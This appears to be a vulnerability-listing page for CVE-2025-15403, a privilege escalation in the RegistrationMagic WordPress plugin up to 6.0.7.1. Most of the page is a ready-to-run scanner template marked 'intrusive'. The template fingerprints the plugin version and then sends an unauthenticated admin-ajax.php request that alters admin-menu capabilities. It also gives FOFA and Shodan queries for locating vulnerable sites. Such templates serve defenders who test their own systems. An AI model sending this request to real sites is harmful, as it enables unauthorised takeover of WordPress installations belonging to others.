CVE-2025-15403: RegistrationMagic <= 6.0.7.1 - Privilege Escalation

2026-08-25 RegistrationMagic PoC Public

Description

RegistrationMagic WordPress plugin <= 6.0.7.1 contains a privilege escalation caused by improper access control in 'add_menu' via 'rm_user_exists' AJAX action, letting unauthenticated attackers manipulate admin menu capabilities, exploit requires subscriber user for further escalation.

PoC

id: CVE-2025-15403

info:
  name: RegistrationMagic <= 6.0.7.1 - Privilege Escalation
  author: 0x_Akoko,pdresearch
  severity: critical
  description: |
    RegistrationMagic WordPress plugin <= 6.0.7.1 contains a privilege escalation caused by improper access control in 'add_menu' via 'rm_user_exists' AJAX action, letting unauthenticated attackers manipulate admin menu capabilities, exploit requires subscriber user for further escalation.
  impact: |
    Unauthenticated attackers can escalate privileges to gain admin capabilities, potentially compromising the entire WordPress site.
  remediation: |
    Update to the latest version beyond 6.0.7.1.
  reference:
    - https://github.com/Nxploited/CVE-2025-15403
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/registrationmagic/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15403
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-15403
    epss-score: 0.01554
    epss-percentile: 0.74029
    cwe-id: CWE-269
  metadata:
    verified: true
    max-request: 2
    vendor: metagauss
    product: registrationmagic
    framework: wordpress
    fofa-query: body="/wp-content/plugins/custom-registration-form-builder-with-submission-manager/"
    shodan-query: http.html:"/wp-content/plugins/custom-registration-form-builder-with-submission-manager/"
  tags: cve,cve2025,wordpress,wp,wp,wp-plugin,registrationmagic,privilege-escalation,intrusive,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "registrationmagic")'
          - 'compare_versions(ver, "<= 6.0.7.1")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: ver
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([\d.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!contains(body, "-1")'
          - 'len(body) <= 5'
        condition: and
# digest: 4a0a00473045022001a417f22c98fd9669b4c23b504edbfc0cb3d525fab1a6467fd10c2acc00113a022100c000c28c336af12b92c8a65f3c3591e24c5e848f7bfc6c4e17629ec49a4b3ee3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities